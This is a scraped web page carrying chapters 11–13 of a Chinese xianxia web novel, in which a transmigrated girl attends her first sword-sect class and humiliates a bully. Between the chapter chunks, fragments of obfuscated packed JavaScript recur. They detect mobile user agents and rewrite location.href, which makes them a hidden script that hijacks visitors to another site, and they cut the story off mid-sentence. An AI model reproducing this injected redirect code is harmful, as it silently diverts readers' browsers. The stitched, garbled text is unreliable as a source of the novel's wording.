l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280493|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筠这才满意:“嗯。” 交谈到这里接近尾声。掌筠又叮嘱了祝昭昭一些生活起居上的注意事项,然后就摆摆手让她自己一边玩去。 祝昭昭本人其实也没有很想赖在这的意思。 但就谈话这会儿的功夫,她已经看见掌筠拿出了至少三颗往上的灵果。 这要放在平时,祝昭昭一句废话都不会多说。 可因为掌筠确实算是帮了她一个大忙,所以想了想,祝昭昭觉得自己还是有必要提醒他一下。 于是祝昭昭开口:“师父。” 掌筠‘嗯’了一声:“什么事。” “这灵果,您身上到底还有多少。”怕掌筠觉得自己是馋他的灵果,祝昭昭马上补充,“我是想说,要是只有刚吃的那几颗,您就当我随口一问。要是还有很多……” 祝昭昭瞥了眼门外,用词斟酌:“那您稍后可能要跑快点。” 眼神在灵果——祝昭昭——门口之间飞快看了一轮,掌筠本来还优哉游哉的表情瞬间僵住。 他肉眼可见地慌张起来。 祝昭昭伸出手指开始倒数:“三——” 怀里一下多了好多黄澄澄的果子,掌筠挥手把它们整齐摆在桌子上。祝昭昭打眼一扫,起码得有十几二十个。 这个数量的高级灵果…… 祝昭昭默默在心里为他点蜡:“二——” 掌筠提气念诀,与此同时,门外一阵极强的灵力剑一般席卷而来。 怒极的女声在门外响起:“掌筠!你这个混账东西!!” 看着慌到表情管理都快消失的掌筠,祝昭昭满脸安详地缓缓倒数—— “一。” 伴随着祝昭昭的话音落下,门外的灵力狠狠落在掌筠最后坐着的位置上。 指向之精准,仿佛开了定位;力量之强劲,让座椅直接原地消失。 那可是能抵挡巅峰金丹一击的金石木。 祝昭昭叹为观止。 要不是掌筠已经溜了,这会儿他身上高低得多几个大口子,那人可就丢大了。 虽然祝昭昭挺想看。 祝昭昭无不可惜地盯着椅子发呆时,周围轻轻卷起一阵清新的草木香气。 一道带着怒意却还是能听出温柔原音的女声在她耳旁响起:“掌筠那老贼去哪了?” 老贼…… 祝昭昭努力不让自己笑出声:“宗主他刚刚走。” “哼,走了?”宁木灵轻轻落在地面,“那老贼,偷摘了我那么多灵果去吃,这会儿倒是知道怕了?” 瞟见桌上摆得整整齐齐的灵果,宁木灵抬袖一挥,很快将之收起。 “算他识相。” 气总算消了一点,宁木灵看向站在她身旁的祝昭昭:“你是……” 祝昭昭适时出声:“昭昭见过六长老。” “原来是你。”宁木灵像是发现了新大陆,“你就是阿月那个宝贝徒弟?” 祝昭昭本就没打算在剑宗长老面前隐藏:“昭昭代家师向六长老问好。” “我与她还算亲近,你不必如此拘谨。”宁木灵摸摸祝昭昭脑袋,拿出几个灵果,“见面礼。” 祝昭昭乖乖收下。 宁木灵笑眯眯:“掌筠老贼已经为你安排妥当了对吗?” 祝昭昭点头。 “那就好。”她挽起落在耳边的碎发,“那就按他安排的来罢。之后再有什么问题,你可以来找我。” 说完捏了捏祝昭昭的脸,宁木灵和她道别后消失在原地。 空气安静下来,看着空出位置的正堂,祝昭昭面无表情地拿起一颗灵果啃了一口。 嗯,还是名正言顺得到的东西比较香。 不过今晚要在哪睡呢? 思考着问题,祝昭昭听着从很远处传来的,掌筠的惨叫声,抱着灵果慢悠悠转身离开。 11. 早起上学咯 作为一个作息比较向现代靠拢,到了天玄山之后也一直没人管过作息的人,祝昭昭睡眠时间一向很长,主打的就是一个自然醒。 所以突然被窗外的响动惊醒的时候,她甚至梦刚做一半。 “什么动静。” 嘴里含糊说着,祝昭昭迷迷瞪瞪地推开窗。 然后被飘在窗外的白色影子吓得瞬间睁大眼睛。 什么东西,天玄山都见不到的鬼竟然在剑宗出现了? 狠狠倒抽一口凉气,彻底被吓清醒的祝昭昭终于看清飘在窗外的究竟是什么东西。 “昭昭,你醒了吗?早课马上要开始了。” 手指轻轻戳着眼前的小小纸人,祝昭昭拨了拨睡得乱糟糟的头发:“月书师姐我刚醒。” 没错,这个吓得让祝昭昭差点出窍的,是白月书特意用来叫她起床的纸人。 白月书的声音从纸人身上传来,“醒了就好。快收拾一下下山来吧。” 抬头看了眼还能望见星星的天空,祝昭昭神情变得很复杂。 她沉默了一下:“月书师姐,现在丑时刚过。” 小纸人晃晃脑袋:“没错,马上就要寅时了。” 马上…… 把‘丑时刚过只是客气话,现在离寅时还有至少二十分钟’这句咽回肚里,祝昭昭决定换种更含蓄的说法:“宗里的早课是几时开始?” 小纸人回得很快:“寅时呀。” 祝昭昭内心在尖叫:六点也是寅时,但现在才四点多! 和小纸人大眼瞪小眼半天,祝昭昭最后选择屈服。 最后看眼天上的星星,她狠狠捋了一把头发:“知道了月书师姐。等我收拾一下,我现在下山。” * 祝昭昭一走下山,就看见白月书站在山脚的白色身影。 她本就比同龄人高些,加上常年修炼,整个人立在那的时候就像一棵笔直的松,旁人很难不注意到。 不愧是这个世界的女主角。 被迫早起的怨气因为看见美女消失不少,祝昭昭快速调整好状态,扬起笑脸。 “月书师姐。” 白月书寻声扭头:“昭昭。” 快步走到白月书身旁,祝昭昭拿出昨天宁木灵给的灵果:“月书师姐,给。” 认出祝昭昭手上灵果,白月书瞬间慌得笑脸都没了:“昭昭?你从哪拿的这果子?” “这是六长老最宝贝的灵果,旁人随意采摘是要被罚的。” 她牵起祝昭昭的手:“快,现在送回,事情可能还有挽回的余地。” 白月书神色之惊惶,动作之迅速,让本来只是想用灵果继续和她打好关系的祝昭昭都懵了。 不是,宁木灵究竟得是什么样的威力才能让长老的内门弟子都怕成这样。 果然不能小看剑宗里的任何人,哪怕是非战斗系修士。 再次在心底坚定地树立起这个认知,祝昭昭一把拉住已经准备御剑的白月书:“月书师姐,其实这个果子是六长老给我的。” “是六长老给的?”白月书看起来很意外。 祝昭昭点头:“对。” 来追杀偷果子的宗主时顺便给的,这话没问题吧? “那就没事了。”收回欲走的脚步,白月书重新看着祝昭昭手里的灵果,“灵果珍贵,你确定要给我吗?” 祝昭昭想都不想:“当然!月书师姐这么照顾我,我送你灵果不是应该的吗?” 闻言先是一怔,白月书很认真地从祝昭昭手里接过灵果。 她脸上浮起笑意:“昭昭,谢谢。” 白月书态度郑重,祝昭昭反而有些不自在。 于是她转移话题:“月书师姐,现在是几时了?” 白月书回过神来,表情变得很急切:“对了,早课要迟到了。” 扫了眼墨色的天,祝昭昭无言。 行,你说要迟到就要迟到吧。 祝昭昭放弃挣扎。 * 由于掌筠的‘三不管’政策实行得相当彻底,彻底到什么剑谱功法都没给祝昭昭留,于是两手空空的她决定跟着内门弟子学习。 白月书和秦之衡虽然是亲传弟子,但除了有时候会跟随五长老学习独门功法外,更多的时间还是在内门上课。 御剑前往上早课的成业峰路上,白月书问祝昭昭:“昭昭,你昨天走得急,王师兄好像没有给你安排检测灵根之后的事宜。” “你知道一会儿要去哪个班上课吗?” “哦,你说这个啊。”祝昭昭视线从身旁飞过的灵鸟上收回,“我师父说全部按介绍表上的去做就好了。身份木牌的话他昨天也给我了。” 祝昭昭拿出挂在腰间的木牌:“月书师姐,你看。” 白月书微微侧身扫了一眼:“既然宗主已经替你安排妥当,那你照做就好。” 再次越过一片树林后,白月书降下本命剑:“到了。” 直到来成业峰之前,祝昭昭就已经对剑宗弟子的勤勉程度做了一定的心理准备。 然而当她真正降落在峰上,目睹成片成片弟子的那一刻,才发现自己的那些心理建设和峰上的实际情况比起来,简直是小巫见大巫。 刚刚降落,就有人和白月书打招呼:“月书师姐早。” 白月书收起剑,亦朝那名弟子微微颔首:“早。” 很快注意到白月书身后的祝昭昭,弟子看起来很好奇:“月书师姐,五长老座下什么时候又多了一名亲传弟子?” 闻言摸摸祝昭昭的脑袋,白月书微笑:“不是。她是宗主新收的弟子。” 弟子大吃一惊:“竟然是宗主的弟子?!” 他声音很大,周围离得不远的人很快都被他吸引过来,祝昭昭顿时感觉身上多了很多视线。 好在这些视线虽然明显,但并没有怀着鲜明恶意,纯粹只是因为她是宗主的弟子而产生的惊讶和好奇。 有声音从人群里传来:“她叫什么名字啊?” “昭昭。”祝昭昭觉得这种问题有必要自己来答,“我叫祝昭昭。” 那道声音很快回:“原来是昭昭师妹。” 正当祝昭昭准备和周围一圈人打打招呼时,人群里突然又有人问问题:“听说流卓楼昨天闹了很大的风波,昭昭师妹那时候应该也在吧,知道是发生了什么事吗?” 流卓楼就是祝昭昭检测灵根的地方。 没想到突然有人会问这个问题,祝昭昭眨眨眼,刚想说些什么,就突然想到有些好胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280494|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心比较强的人有时候会对天赋异禀的人心怀不满进而为难他们。 问话的人会是这个意思吗? 祝昭昭还在思考要怎么回答的时候,已经有人抢先怼了问话人:“你问那么多干什么,有问题也不该问新来的师妹啊,自己找人问去,别吓到师妹。” 眼角余光瞄见身边的白月书肩膀放松下来,祝昭昭没再接话。 问话人委屈的声音也在这时候响起:“我问得哪里多了,我只是听说王肃师兄昨天好像满宗门地找陈青师兄,说是一旦找到他,就要和他在擂台上一决生死。” “一决生死知不知道,那我们观战的话能学到多少剑招技巧啊。”问话人很激动,“流卓楼昨天不是刚好轮到王肃师兄值班嘛,我就想问问是不是这事是不是真的。如果是真的,那不是刚好还可以趁这机会开赌……” 话题以问话人被人捂住嘴巴告终。 面无表情听完全程,祝昭昭甚至不知道该给这段对话什么反应。 毕竟师兄们突然要打生死擂台,师弟们不仅丝毫没有劝两个师兄和好的意思,反而看起来好像更关心怎么学习打架经验,甚至趁机借此来赌输赢敛财这事,放在哪个宗门都很炸裂。 但剑宗的人好像都习以为常,看问话的人被捂嘴的速度就知道。 怎么说,不愧是包揽了全书最重要角色的宗门。 祝昭昭:点烟。 看了眼天色,白月书终于出声赶人:“好了,天色即将大亮,大家莫要再闲聊,都快去做正事吧。” 人群遂一哄而散。 见身旁的祝昭昭还站在原地发呆,白月书以为她是紧张不敢进学堂:“昭昭。” 祝昭昭回神:“怎么了?” 白月书直勾勾盯着祝昭昭深吸口气,像是下定了什么决心。 祝昭昭:…… 所以我就发会儿呆的功夫,又出什么事了?? 正当她想开口问白月书怎么回事的时候,白月书动了。 她弯下腰,对着祝昭昭像哄小孩子一样攥紧双拳,做出鼓劲的手势:“昭昭别害怕,你是最棒的!” 看着白月书脸上努力扬起的开朗笑脸,祝昭昭如遭雷击。 不是,谁能告诉她现在到底发生了啥? 女主角的人设怎么在她不知道的时候被换掉的? 她那么大一个表面高冷,只有在面对男主才会展露温柔的女主角呢? 现在这个正在违抗本性哄小孩的人是谁? 祝昭昭感觉自己好像陷入什么反常理世界。 努力控制自己不去摸白月书因为强撑着笑都快要抽筋的脸,祝昭昭看着她:“月书师姐,我知道了。我会加油的。” 说完两手一伸,祝昭昭直接扎进白月书怀里。 沉浸在来自白月书身上的香气,祝昭昭愿称此刻为目前为止她最幸福的时刻。 也因为太幸福,直到被白月书领到班级门口后,祝昭昭还站在原地半天没反应过来。 她是被身后的疑问叫回神的:“师妹,你挡在门口做什么?” 祝昭昭回头,一个看起来和她差不多大的少女正站在她身后看着她。 和祝昭昭对上视线,少女眨了眨眼:“有什么需要我帮忙的吗?” 12. 跟师姐混不绝吃亏 “没有。” 祝昭昭摇头:“我没问题。” “这样。” 少女‘哦’了一声:“那你好好的怎么站在门口发呆呀,后面都是排队等着进去的人。” 祝昭昭顺着少女大拇指朝向的方向探头,果然看到少女身后已经排起长队。 她连忙让开道路:“不好意思。” 随着祝昭昭把门口让开,后面的人很快走进教室。祝昭昭本想跟着人群进去,却没想到少女直接把手搭在了她肩膀上。 “不要走那么快嘛。”少女笑眯眯朝她靠得更近,“你叫什么名字?” 等等,现在是什么情况? 祝昭昭眨眨眼。 上学第一天,剧情就要直接大拐弯迈进校园黑暗向了吗? 祝昭昭突然有点后悔出门前没打个卦。 见祝昭昭半天没说话,少女以为她是害羞:“不要不好意思嘛。既然这样,那我先介绍一下我自己。” “我叫云珈。” 哦,原来是个热爱交朋友的小朋友。 祝昭昭恍然,把脑海里已经过了一遍的暗黑校园向剧情全部扫出去。 她就说这是个传统修仙位面世界,不会有其他剧情展开。 定定神,祝昭昭答:“我叫祝昭昭。” “原来是昭昭师妹。”得到回应的云珈更高兴了,“我看你很眼生,你是新来的?还是出去历练刚回来?” “我是新来的。”眼前的小朋友太热情,让祝昭昭下意识多看了她两眼。 很甜美的长相,哪怕是穿着略显飘逸的剑宗白袍,也挡不住她五官里透出的稚气。圆溜溜的杏眼里是毫不掩饰的好奇,可爱得让祝昭昭想把她头上的飒爽马尾换成两个小揪揪。 绑着铃铛那种。 云珈当然不知道祝昭昭脑袋里在想什么:“这段时间宗里好像收了好几个新弟子呢。” “算了,反正不关我事。”甩甩头,云珈重新把注意力放在祝昭昭身上,“不过既然你是新来的,那以后有什么不懂的都可以问我,我知道的都会告诉你。” 祝昭昭当然乐意之至:“谢谢云珈师姐。” “好师妹你放心,今后师姐罩着你,保证你每天开开心心来开开心心回。”被祝昭昭这声‘师姐’哄高兴了,云珈连连拍了她肩膀好几下。 这其实是个很正常的动作。 然而云珈第一掌下来,祝昭昭就差点被打得直接朝前扑到地里。她动作奇快,祝昭昭还没来得及反应就又挨了几个巴掌,感觉自己都快被打吐血。 整个人都快散架的祝昭昭:??? 这是一个十五岁的小朋友该有的力道吗? 祝昭昭赶紧在被打死前抬手喊停:“好了云珈师姐,我知道你高兴。但你看现在门口只剩我们两个站着,是不是上课时间快到了?” 云珈闻言轻笑,紧了紧搂着祝昭昭的手:“你说什么呢,还早。早课结束后才是掌教们上课的时间。” 肩膀传来痛感,祝昭昭的内心泪流满面。 搂就搂吧,总比被打死强。 然后祝昭昭就被云珈搂着进了屋子。 两人刚进门,就有人和云珈打招呼:“云珈,这边。” 脸上顿时多了笑意,云珈带着祝昭昭往打招呼的人那边走:“青青。” 先是和云珈击了个掌,齐青青看向坐在她身旁的祝昭昭:“云珈,这位是?” “哦,这是昭昭,是新来的小师妹。”云珈笑容灿烂,“我们刚才在门口碰见的,她很可爱对吧?” 没有回答云珈的话,齐青青看向祝昭昭。 她的眼神平静得像一潭湖水,她的声音带着一种阅尽千帆的淡然:“很痛对不对。” 还因为刚才的重击痛得浑身不自在的祝昭昭瞬间像是找到了战友,感动得热泪盈眶。 她就知道以云珈的那种哈士奇性格,被重伤的肯定不止她一个! 祝昭昭:流泪猫猫头·jpg 云珈显然不懂两人的同病相怜:“你们这么快就聊起天啦,真好。我就知道青青你也一定会喜欢昭昭师妹的。” 齐青青面不改色:“嗯。” 有些痛苦,不需要四处宣扬。 “好吧。”云珈说完,整个人突然像泄了气的皮球一样瘫在桌上。 齐青青扫她一眼:“刚才还好好的,发什么疯。” “什么发疯啊。”云珈很不满意,“我是真有事情解决不了好不好。” 齐青青来了兴趣:“看你一天天没心没肺的,还能有事压在心里?什么事情,说来听听。” “还不是本命剑强化那事。”云珈狠狠叹气,“强化材料我都找了好多种,但怎么都找不到最合适的。” “再这么找下去,我的素云还能强化成功吗。” 素云是云珈本命剑的名字。 显然这个问题已经困扰云珈许久。齐青青闻言没有接话,只是拍拍云珈的脑袋以示安慰,两个人看起来都没办法解决。 祝昭昭很能理解云珈的烦恼。 作为比剑修本人的生命还要珍贵的存在,本命剑对他们的重要性不言而喻。很多剑修终其一生,就是在修炼——打架——保养本命剑之中循环往复并乐此不疲。 作为三环中最重要的一环,强化本命剑这个问题如果解决不了,对剑修来说确实是非常难受的事情。 而很巧,选择性助人为乐,是祝昭昭的爱好。帮助漂亮小姐姐,更是她爱好中的爱好。 所以她开口。 “云珈师姐的剑,能不能拿出来看看?” 云珈闻言,二话不说就从桌子上直起身,召出本命剑素云。 速度之快,引得齐青青侧目:“好你个云珈,我平时叫你把素云拿出来你都磨磨蹭蹭半天,昭昭师妹一叫你就拿出来这么快。” 她一把揽住云珈脖子:“是不是想上擂台。” 把素云交给祝昭昭,被勒得半死的云珈伸长脖子嚷嚷:“谁叫你每次一拿到素云就在那又敲又试刃的,那是我本命剑,又不是厨房切菜的菜刀。好几次素云都想直接劈了你,还是我拦下来的,你少不识好歹。” 稍稍远离两人的打架范围,祝昭昭仔细看着手里的素云。 片刻后,她开口:“云珈师姐的本命剑是用青鸾铁打造而成的吗?” 刚刚还打得如火如荼的云珈和齐青青一起停下动作。 话尾最后那个‘吗’字只是谦虚用法,实际上从祝昭昭无比准确地判断出素云材质的那刻起,就证明青鸾铁是她的唯一答案。 两人很清楚这点。 云珈看了眼仅仅被祝昭昭拔出剑鞘一点的素云:“对,素云的确是用青鸾铁打造。” 指尖轻轻在素云剑鞘上划过,祝昭昭继续说:“青鸾铁硬度极强,因此脆性极高,战斗时若是不注意用灵力护住剑身,很容易会折断。如果我没猜错的话,云珈师姐想强化的,是素云的柔韧度。” 祝昭昭这句说完,连齐青青也收起了无所谓的态度:“竟然只是看了一下素云就能知道这么多,昭昭师妹你是如何做到的?” 祝昭昭想了想:“……素云告诉我的。” 齐青青还想说点什么,云珈已经迫不及待插嘴:“没错没错,素云对我来说其实很合适,但柔韧性弱这点很麻烦。” “若是同阶或修为相差不算很大,现在的素云对我来说是够用的。可一旦遇上修为相差大的对手,我还要分出灵力护着素云,会很影响我发挥。” 说到烦恼处,云珈叹气:“可是我找了好久都找不到最适合增强素云柔韧性的材料,愁死我了。” “怎么会?”祝昭昭很不解,“主要增强柔韧性的材料据我所知都有十数种,云珈师姐一种都没看上?” 云珈很苦恼:“对啊,现在炼器坊能提供的材料我都看过试过了,不行。” 祝昭昭很认真:“不行的理由是?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280495|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>炼器坊能提供的材料都不行那是什么概念,难道素云在锻造上有什么不传之秘,导致大多数柔韧性强的材料都无法很好融合? 好奇之余,祝昭昭起了探究心。 云珈却突然犹豫:“我不知道该不该说。” 祝昭昭态度更加坚决:“云珈师姐,你应该知道本命剑对剑修的重要性。如果事情不解决,以后你在外遇见危险该怎么办?” 云珈垂眼抿唇:“可是……” 祝昭昭感觉自己的猜测很可能八九不离十:“不要再犹豫了云珈师姐,犹豫对你没有好处。” “好吧。”云珈终于下定决心,“我一直找不到合适材料的原因其实是——” 祝昭昭很认真地盯着云珈,已经准备另辟蹊径帮她解决问题。 “因为那些材料太容易坏了。” 嗯? 祝昭昭脸上的凝重僵住。 太容易坏的意思是? 云珈像开了闸的洪水:“你不知道,每次那些老板把材料拿给我看,我都只是轻轻捏一下想感受感受,但最后材料全部被我捏扁了!” “后来捏的次数多了,那些炼器坊的老板都不愿意再做我生意,害得我到现在还没办法强化素云。” 她说着,又萎靡下来:“这样下去,我什么时候才能用上更强的素云啊。” 祝昭昭都惊呆了。 什么叫做轻轻捏一下? 什么材料能被随便捏扁? 炼剑用的材料,有能随便捏扁的吗? 会不会是她理解错了? 祝昭昭很谨慎地再次确认:“捏扁的意思是?” 云珈指了指桌上:“就是捏成这样。” 顺着云珈手指的方向,祝昭昭看见桌上散落的几张薄纸。 她突然觉得自己刚才没被云珈拍死,绝对是因为云珈手下留情了。 沉默片刻,祝昭昭回归正题:“云珈师姐,如果你相信我的话,素云的强化材料,我建议你选星陨铁。” “星陨铁?”云珈皱眉,“我不是没考虑过这个材料。可是它品阶太低,我担心……” “星陨铁品阶的确不高。但作为融合性最好的几种锻材之一,它对青鸾铁这种硬度极高的材料而言,可以说是最好的辅助。” 祝昭昭看着桌上的素云:“比起品阶,强化的选材,最重要的是适配程度。而星陨铁可塑性高,能很好地在锻造中融入且覆盖青鸾铁,这正是青鸾铁最需要的。” “综上而言,我觉得云珈师姐可以考虑星陨铁。” 祝昭昭说完抬起头,这才注意到对面的云珈和齐青青一直在盯着自己。 云珈摸摸下巴:“我听说流卓楼昨天收了一个金源水灵根的弟子。那个弟子是你吗,昭昭?” 她说完,继续和齐青青一起盯着祝昭昭。 祝昭昭被盯得发慌:“我觉得素云的强化比这件事更重要。” “就是因为素云的强化很重要。”齐青青点头,“我才清楚选星陨铁这件事,如果不是对各种炼器材料非常了解,寻常人是绝对不可能考虑到的。” “昭昭,你非常有天赋。” 祝昭昭听完只是笑。 见状朝祝昭昭身旁靠了靠近,云珈用胳膊肘捅了她一下:“昭昭,你看你刚来,也没找好位置,要不就坐我旁边吧?” “有我罩着,保证这个班里没人敢闹你。” 这是什么校霸发言。 祝昭昭哭笑不得,本来想答应下来。 然而瞥见云珈那双修长的手,她瞬间什么心思都没了:“谢谢云珈师姐,但我更喜欢坐得靠前点,容易听到掌教讲课。” 怕云珈找理由劝自己,祝昭昭边说边站起来,随便找了个第一排的位置。然而她刚坐下,就听到后面云珈和齐青青一起‘诶’了一声,像是想制止她。 紧接着,一道身影出现在祝昭昭身旁。 “谁准许你坐这个位置的。” 13. 这座位写你名了? 准许? 这个词用得很有意思。 祝昭昭抬头。 见祝昭昭不回话,刑煜皱眉:“我和你说话你没听到?” 祝昭昭点头:“听到了。” 刑煜更不高兴:“听到了为什么不回答?” “听到了就要回答?” 祝昭昭笑得眉眼弯弯:“我不喜欢搭理没教养的人。” 原本吵闹的人群安静下来。 似乎没想到祝昭昭会直接回怼自己,刑煜先是一怔,紧接着不可置信道:“你敢这么和我说话,你知道我是谁吗?” 祝昭昭像是听到什么笑话:“坐个位置还要知道抢位置的是谁,我看起来很闲?” 随手挑起耳边碎发把玩,祝昭昭语气轻快得像在聊天:“见人就问知不知道你是谁,我看你年纪轻轻,应该不是记性不好的人。所以你的意思,是在威胁我?” 祝昭昭微笑:“你算老几?” 没想到祝昭昭年纪不大,胆子居然不小。人群里瞬间爆发出议论声,隐约夹杂着些许窃笑。 刑煜脸上彻底挂不住:“我算老几?我告诉你,这个班我说一没人敢说二!得罪了我,你别想在这里过一天好日子!” 齐青青拉住一下子站起身的云珈。 话到最后强压怒火,刑煜声音阴冷:“我最后给你一次机会。跪下和我道歉,从这个位置起来,我可以对你的冒犯既往不咎。” 跪下? 捻头发的动作停下,祝昭昭眯起眼睛。 她来这个世界两次,还是第一次有人敢这么和她说话。 本来还只是在逗弄眼前男子的祝昭昭也终于懒得对他维持礼貌态度。 她敛起笑意:“要我跪下?” “凭你这个靠家族资源和丹药堆出来的金丹初期?” 刑煜浑身剧震。 修炼全靠家族资源这种事在剑宗太过令人鄙夷,他从来没有跟别人透露过一丝一毫,周围人根本不知道。 可如今眼前这个新生却随便就把他的秘密捅了出来,仿佛这对她来说只是件根本不值得一提的小事。 她是怎么知道的? 祝昭昭把刑煜的神情变化看在眼里:“宗门里天赋比你高的人比比皆是,其他人不用开后门尚且比你修炼快速得多。像你这样的废物,怎么敢霸占最前面的位置来听课?” “哦,我明白了。” 祝昭昭嘴角扬起一丝弧度:“如果不是因为你既占尽家族好处,又死皮赖脸地霸占好位置听课,你根本不可能修炼到现在的等级。对不对?” 祝昭昭说完,整间教室静得掉根针都能听见。 刑煜居然是靠家族资源堆出来的。 难怪他总是每次进阶都会消失很久,其他人都以为他是找了个没人的地方闭关,原来居然是回家吃丹药了。 人群里有人发出嘘声,看着刑煜的目光羡慕中带着鄙夷。 但比起刑煜依靠家族却说修炼全靠自己这种笑话,更可怕的是没想到新来的师妹看起来很好说话的样子,实则一旦有人惹她不高兴,她的每句话都可以直戳对方最痛的地方。 完全是杀人诛心。 终于顺着齐青青拉住自己的力道坐回位置上,云珈憋笑憋得很辛苦。 被说得脸上红一阵白一阵,刑煜额角青筋暴起,死死盯着座位上的祝昭昭。 祝昭昭亦不避不闪直视刑煜,甚至很好心情地朝他微笑。 她的态度彻底激怒了刑煜。 冷笑着连连说了几声好,刑煜重重一跺脚,金丹期的威压瞬间朝尚在筑基期的祝昭昭而去。 没想到刑煜竟然无耻到突然对着筑基期的师妹发难,整间教室哗然。 云珈眼瞳骤缩:“昭昭!” 她死死盯着刑煜:“刑煜,课堂私斗必定重罚,你竟敢!” “竟敢什么?”出了恶气的刑煜很得意,“我只是尚且不能控制金丹威压,又不是故意的,何错之有?” 云珈拍桌:“你!” 却就在这时,祝昭昭的声音突然在光芒里响起:“像他这样磕丹药磕出来的草包,确实是难以控制金丹期的威能。他说的倒也是事实,云珈师姐不要怪他。” 下一秒,祝昭昭出现在刑煜身后,满脸轻松:“我说得对不对?” 没想到祝昭昭不仅根本没被自己的威压影响到,竟然还有余力闪身到自己身后,刑煜又惊又怒,下意识抬掌朝祝昭昭打去。 刑煜这一掌快且狠,不仅如此,还是往祝昭昭的脸上去的。一旦打中,脸肿都是小事,很可能会伤到筋骨。 云珈直接抓起素云起身,课堂内一片哗然。 祝昭昭却依旧只是站着,甚至有心思慢悠悠地拍拍有些发皱的衣摆。 下一秒,她抬头看向刑煜,眼中极速闪过一抹流光。 祝昭昭消失在原地。 “啪!” 清脆到甚至有些刺耳的掌掴声响起,刑煜的脸重重甩到一边,尺寸稍小却无比鲜红的巴掌印清晰地印在他右脸。 他的手甚至还维持着抬起的姿势。 消失的祝昭昭出现在刑煜右边,慢条斯理地吹着发红的手掌。 人群瞬间静得可怕,就连已经准备加入战局的云珈也呆在了原地。 察觉到人群神色各异的目光,祝昭昭抬眼,没事人般甜甜一笑:“扇巴掌还怪疼的。” 扇巴掌还怪疼的?? 重点是这个吗?? 几乎能从刑煜脸上的巴掌印想象出这巴掌有多痛,所有人移开视线,不敢吭声。 祝昭昭速度之快,身法之诡异,所有人都没看清那瞬间到底发生了什么,只知道她重新出现的时候,刑煜已经被打傻了。 这哪是什么天真可爱小师妹,分明是深藏不露食人花! 懒得管周围人在想什么,祝昭昭抬头看着刑煜,朝呆若木鸡的他露出超大弧度的微笑:“为什么傻站着,难道是刚才那巴掌太疼了?” “师,兄。” 挑衅,完全是挑衅。 刑煜被祝昭昭刺激得眼睛都快喷火。 脸上热辣辣的疼痛更加明显,他愤怒到扭曲:“你找死!” 刑煜吼得很吓人,房梁上的灰尘都被他的吼声震得下雪一样落了其他人满头满脸。 刑煜的下场很惨,不知道什么时候出现在门口的掌教直接用灵力把他捆成了粽子。 “课室内私斗,罚鞭二十,打扫灵塔一个月。” 站在两人中间的白衣掌教说完,平静的目光落到祝昭昭身上。 她知道自己这时候会来。 意识到这点,白修之看着祝昭昭的目光多了一丝探究。 然后就见这个新来的小姑娘眉眼带笑,毫不害怕地回望自己,甚至主动和自己打招呼。 他收回视线:“念你动手意在防御,处罚可以免除。” “回位置上坐好。” “是。”高高兴兴答应完,祝昭昭哼着小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280496|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲,在刑煜几乎可以杀人的目光下,带着挑衅意味地慢吞吞坐回刚才的位置。 “好了。” 白修之才不管什么座位谁能坐谁不能坐:“私斗者领罚,剩下的人准备开始上课。” 他说完抬手一挥,刑煜直接消失在原地。 * 虽然实际上不是什么都不懂的新人,但直到上课之前,祝昭昭都觉得既然门口挂着‘新生班’的牌子,那她在这里,肯定会从最基础的知识开始学习。 哪怕当她‘看’见刑煜以及其他人其实已经在这里上了很久的课,也很乐观地觉得把真·新生和老生放在一起上课,肯定只是剑宗的独特教学风格。 所以当掌教拿着一本不算薄的册子摆到她面前时,她还很笃定地觉得这就是她这段时间要用的课本。 掌教看着她的目光和把刑煜捆成粽子时一样平静:“里面记载着所有基础锻体及运转灵气的知识,你拿回去好好阅读学习,打好基础。” 祝昭昭看着课本,信心满满:“知道了掌教。” “我姓白。”白修之声音淡淡,“你可以叫我白掌教。” “知道了白掌教。”祝昭昭很上道。 微微颔首,白修之起身准备回讲台。 临了还不忘再叮嘱祝昭昭一次:“记得一定要将此书内容学透,基础打牢,之后的修行才能畅通无阻。” 等等。 什么意思。 剑宗教学前还要对弟子进行警醒激励教育? 祝昭昭渐渐品出不对:“白掌教,我们一会儿不学这本书上的内容吗?” “自然不是。” 白修之露出‘你怎么会这么想’的表情:“此书是让你下学后自己补上没学过的基础所用。我们今天要讲的书,是这本。” 他说完,手上储物戒白光一闪。 下一秒,讲台上猛然响起‘砰’的一声,动静之大,坐在第一排的祝昭昭清楚看到讲台狠狠抖了三抖。 